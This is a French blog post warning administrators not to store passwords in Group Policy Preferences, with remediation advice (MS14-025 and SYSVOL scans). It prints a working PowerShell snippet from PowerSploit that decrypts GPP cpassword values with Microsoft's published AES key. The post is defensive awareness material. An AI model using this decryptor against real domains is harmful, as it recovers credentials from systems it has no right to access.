Ne stockez jamais de mot de passe dans une GPP (les préférences de stratégie de groupe)

Envoyer Imprimer PDF

Les GPP sont particulièrement utiles pour gérer un bon nombre de composants non pris en charge par défaut dans les objets de stratégies de groupe. Toutefois, dans certains de ces composants, vous pourriez être amené à spécifier des informations d’authentification… ce qu’il ne faut absolument jamais faire !

Les composants concernés sont :

  • Les sources de données
  • Les utilisateurs locaux
  • Les tâches planifiées
  • Les services
  • Les lecteurs réseaux

 

Chacun de ces composants offrent la possibilité de spécifier des informations d’authentification comme ci-dessous.

Si vous spécifiez un mot de passe depuis l’un de ces composants, il est encrypté et puis stocké dans le fichier de configuration (au format XML) du composant.

 

Dans l’exemple ci-dessous, j’ai ouvert le fichier XML « ScheduledTasks.xml » d’une GPO portant l’identifiant unique « A50C7725-0176-4FFF-B40A-F5852C0487B6 » depuis le dossier SYSVOL. Le chemin complet vers ce fichier est  \\mondomaine.fr\SYSVOL\mondomaine.fr\Policies\{A50C7725-0176-4FFF-B40A-F5852C0487B6}\Machine\Preferences\ScheduledTask

 

Comme vous pouvez le voir, le mot de passe est facilement récupérable. Toutefois il est encrypté. Pour autant, cette encryption est complètement inutile car Microsoft a publié la clé d’encryption (http://msdn.microsoft.com/en-us/library/cc422924.aspx).

Du ce fait, il suffit d’utiliser cette clé pour rapidement décrypter le mot de passe. Cerise sur le gâteau, vous avez des scripts pour cela comme par exemple le bout de script ci-dessous (bout de code récupéré depuis le lien https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)

[CmdletBinding()]
Param (
 [string] $Cpassword
)
 
try {
 #Append appropriate padding based on string length 
 $Mod = ($Cpassword.length % 4)
 
 switch ($Mod) {
 '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
 '2' {$Cpassword += ('=' * (4 - $Mod))}
 '3' {$Cpassword += ('=' * (4 - $Mod))}
 }
 
 $Base64Decoded = [Convert]::FromBase64String($Cpassword)
 
 #Create a new AES .NET Crypto Object
 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
  0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
 
 #Set IV to all nulls to prevent dynamic generation of IV value
 $AesIV = New-Object Byte[]($AesObject.IV.Length)
 $AesObject.IV = $AesIV
  $AesObject.Key = $AesKey
 $DecryptorObject = $AesObject.CreateDecryptor()
 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
 
 return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
 
catch {Write-Error $Error[0]}

 

Et voilà le résultat ! C’est génial ou catastrophique… ça dépendra de votre point de vue Coquin


 

Maintenant, il faut trouver des solutions pour remédier à la situation.

La priorité est de faire passer l’information (en faisant tourner mon article par exempleContent) auprès des personnes concernées.

Il existe également une mise à jour de sécurité depuis le 13 mai 2014 (https://technet.microsoft.com/library/security/ms14-025) empêchant de spécifier des informations d’authentification depuis les GPP. La mise à jour est disponible depuis le lien suivant : http://www.microsoft.com/en-us/search/DownloadResults.aspx?q=KB2928120

Une fois installée, premièrement vous avez un message d’avertissement…

 

Et les informations d’authentification sont grisées (évidement ça pose quelques soucis pour les GPPs existantes…).

 

Le petit inconvénient de la KB est qu’il faudra la déployer sur tous les postes d’administration.

 

Enfin, une autre solution consiste à réaliser des scans réguliers de votre SYSVOL à l’aide du script dont je vous ai déjà parlé plus haut (https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1). En effet, il permet de scanner l’intégralité du contenu du dossier SYSVOL et extrait les éventuels mots de passe.

 

 

Mise à jour le Dimanche, 31 Août 2014 20:15